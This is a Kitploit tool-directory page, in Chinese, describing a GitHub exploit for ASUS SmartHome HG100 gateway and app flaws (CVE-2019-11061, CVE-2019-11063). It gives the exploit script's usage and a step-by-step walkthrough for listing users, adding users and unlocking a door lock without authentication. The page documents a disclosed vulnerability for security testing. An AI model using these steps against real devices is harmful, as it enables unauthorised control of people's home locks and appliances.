Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ASUS-SmartHome-Exploit — ASUS SmartHome 漏洞利用(CVE-2019-11061 和 CVE-2019-11063) | Kitploit
工具/GitHubGitHub/tim124058/asus-smarthome-exploit
物联网安全漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubtim124058/asus-smarthome-exploit

ASUS-SmartHome-Exploit

ASUS SmartHome 漏洞利用(CVE-2019-11061 和 CVE-2019-11063)

查看仓库
23747年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ASUS-SmartHome-Exploit

CVE 编号

CVE-2019-11061 : HG100 中的访问控制失效

受影响产品 : ASUS SmartHome Gateway HG100 固件版本 < 4.00.09

CVE-2019-11063 : SmartHome 应用中的访问控制失效

受影响产品 : ASUS SmartHome Android 应用版本 < 3.0.45_190701

描述

如果攻击者与 HG100 或安装了配套 APP(android 或 iPhone)的移动设备处于同一内部网络,则攻击者可以向其发送控制请求。

然后,攻击者无需任何身份验证即可执行以下操作:
1. 获取已添加到 HG100 的所有用户名。
2. 获取 SmartHome Gateway(HG100) 下的所有设备信息。
3. 控制 SmartHome Gateway 下的所有可控设备(例如 DoorLock、Meter Plug ...)。
以下操作需要密码(4 到 6 位数字,默认:"0000"):
1. 向 HG100 添加用户。

漏洞利用用法:

扫描可利用端口:

root@kitploit:~
usage: exploit.py scan [-h] [-v] target_ip

scan exploitable port

positional arguments:
  target_ip   scan ip

optional arguments:
  -h, --help  show this help message and exit
  -v          show account email list

向目标发送命令:

root@kitploit:~
usage: exploit.py cmd [-h]
                      (-u | -l | -s device_id | -c device_id status | -a username)
                      [--user username] [--new-user username] [-v]
                      target

send command to target

positional arguments:
  target                <target-ip>:<port>

optional arguments:
  -h, --help            show this help message and exit
  -u, --list-user       list all user in device
  -l, --list-device     list all device status
  -s device_id, --device-status device_id
                        list device status
  -c device_id status, --device-control device_id status
                        control device status
  -a username, --add-user username
                        add a user to device
  --user username       assign user for cmd
  --new-user username   create a new user for cmd
  -v                    show account email list

注意:2019/5/15 - ASUS 为 SmartHome APP(3.0.42_190515) 和 Gateway(4.00.06) 发布了更新,并为 HTTP 服务添加了 SSL。但该漏洞仍然存在。对于此更新,使用 "cmd" 参数时需要指定协议。 例如:
root@kitploit:~
$ ./exploit.py cmd https://10.42.50.166:8083 -l

使用示例:

步骤1:

扫描移动设备(已安装适用于 android 或 iPhone 的配套 APP)的可利用端口:
app port 附:使用 -v 选项将列出已添加到 HG100 的用户。

或

扫描 HG100 的可利用端口:
HG100 port

步骤2:

获取已添加到 HG100 的所有用户: list user

或添加一个新用户: add user

注意:对 "cmd" 参数使用 https://10.42.50.166:8083。
例如:

root@kitploit:~
$ ./exploit.py cmd https://10.42.50.166:8083 -u

步骤3:

获取 SmartHome Gateway 下的所有设备信息: list device 附:如果未设置 --user 选项,将自动选择 HG100 中的第一个用户。(因为不需要密码)

与应用对比:


步骤4:

控制(解锁)DoorLock。 ctrl device 附:1028 这个值来自 -l 选项(步骤3)。

结果:

下载工具